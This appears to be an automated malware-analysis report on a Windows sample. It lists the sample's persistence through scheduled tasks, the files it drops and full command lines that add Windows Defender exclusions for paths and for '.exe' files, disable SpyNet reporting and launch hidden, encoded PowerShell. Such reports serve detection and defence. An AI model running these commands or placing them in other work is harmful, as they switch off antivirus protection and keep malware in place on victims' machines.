Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\gpbutzijo
- %WINDIR%\tasks\brzhqrtkrkotkdgpyt.job
- <SYSTEM32>\tasks\brzhqrtkrkotkdgpyt
- <SYSTEM32>\tasks\gtaqtaymu
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\dHhMTEahU' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\eKDUTtQZLToUNklxHdR' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\kOUBXXwxZZMmC' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\msYxQejMdbUn' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ssLLGjJbRtlU2' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\SnNNJcxnBogRldVB' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\wRVpRXBEqAAVYGZji' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\jMDGVtPZecYalqhL' = '0'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\jMDGVtPZecYalqhL' = '00000000'
Modifies file system
Creates the following files
- %TEMP%\7zs498d.tmp\__data__\config.txt
- %TEMP%\7zs498d.tmp\install.exe
- %TEMP%\7zs5189.tmp\install.exe
- <SYSTEM32>\grouppolicy\gpt.ini
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
- %TEMP%\wrvprxbeqaavygzji\ykyqtwafeejmxri\sukiyob.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_d99ef00b-ccd3-4f1d-9980-90ac453b0b47
- <SYSTEM32>\grouppolicy\machine\registry.pol
Sets the 'hidden' attribute to the following files
- %HOMEPATH%\tempntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Deletes the following files
- <SYSTEM32>\tasks\gpbutzijo
- %HOMEPATH%\tempntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
- <SYSTEM32>\tasks\gtaqtaymu
- %WINDIR%\tasks\brzhqrtkrkotkdgpyt.job
- <SYSTEM32>\tasks\brzhqrtkrkotkdgpyt
Moves the following files
- from %HOMEPATH%\ntuser.pol to %HOMEPATH%\tempntuser.pol
- from %ALLUSERSPROFILE%\ntuser.pol to %ALLUSERSPROFILE%\tempntuser.pol
Substitutes the following files
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\ntuser.pol
Miscellaneous
Creates and executes the following
- '%TEMP%\7zs498d.tmp\install.exe'
- '%TEMP%\7zs5189.tmp\install.exe' /fxOyldidpsn "385121" /S
- '%TEMP%\wrvprxbeqaavygzji\ykyqtwafeejmxri\sukiyob.exe' 05 /pzsite_idCBm 385121 /S
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
- '%TEMP%\wrvprxbeqaavygzji\ykyqtwafeejmxri\sukiyob.exe' 05 /pzsite_idCBm 385121 /S' (with hidden window)
- '%WINDIR%\temp\jmdgvtpzecyalqhl\pmaigzwqyzekwgk\uympqvm.exe' s6 /ajsite_idrwg 385121 /S' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\kOUBXXwxZZMmC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eKDUTtQZLToUNklxHdR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eKDUTtQZLToUNklxHdR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dHhMTEahU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dHhMTEahU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\wRVpRXBEqAAVYGZji" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\kOUBXXwxZZMmC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\wRVpRXBEqAAVYGZji" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\SnNNJcxnBogRldVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\SnNNJcxnBogRldVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ssLLGjJbRtlU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ssLLGjJbRtlU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\msYxQejMdbUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\msYxQejMdbUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\kOUBXXwxZZMmC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\wRVpRXBEqAAVYGZji" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
- '%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bRzHQrTKRkOTkdgPyt"
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "XCSEAkCvYxOdDAukU"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "XCSEAkCvYxOdDAukU" /SC once /ST 10:06:36 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\jMDGVtPZecYalqhL\PmAIgZwQYZEkWgk\UyMpQVM.exe\" s6 /ajsite_idrwg 385121 /S" /V1 /F
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\msYxQejMdbUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\msYxQejMdbUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\SnNNJcxnBogRldVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\SnNNJcxnBogRldVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ssLLGjJbRtlU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ssLLGjJbRtlU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\wRVpRXBEqAAVYGZji" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\kOUBXXwxZZMmC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eKDUTtQZLToUNklxHdR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eKDUTtQZLToUNklxHdR" /t REG_DWORD /d 0 /reg:32
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\taskeng.exe' {C41CFD04-203D-4859-9E16-01FEA09CDDF6} S-1-5-21-3150914307-1777937420-491476919-1000:grpenwcjidyw\user:Interactive:[1]
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gPButzijo"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gPButzijo" /SC once /ST 02:57:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "Sp...
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extens...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gPButzijo"
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bRzHQrTKRkOTkdgPyt" /SC once /ST 17:07:00 /RU "SYSTEM" /TR "\"%TEMP%\wRVpRXBEqAAVYGZji\ykYqTWAfEejMXRI\sUKIYob.exe\" 05 /pzsite_idCBm 385121 /S" /V1 /F
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dHhMTEahU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dHhMTEahU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\jMDGVtPZecYalqhL\UwhJKASX\JnbgRCVwrkLVkcpF.wsf"
- '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\jMDGVtPZecYalqhL\UwhJKASX\JnbgRCVwrkLVkcpF.wsf"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:64
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\jMDGVtPZecYalqhL" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gtAqtaYmu"
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gtAqtaYmu"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gtAqtaYmu" /SC once /ST 10:34:39 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "rundll32 \"%ProgramFiles(x86)%\dHhMTEahU\PWKzlW.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "CPWFbKRCFwmlLtA" /V1 /F
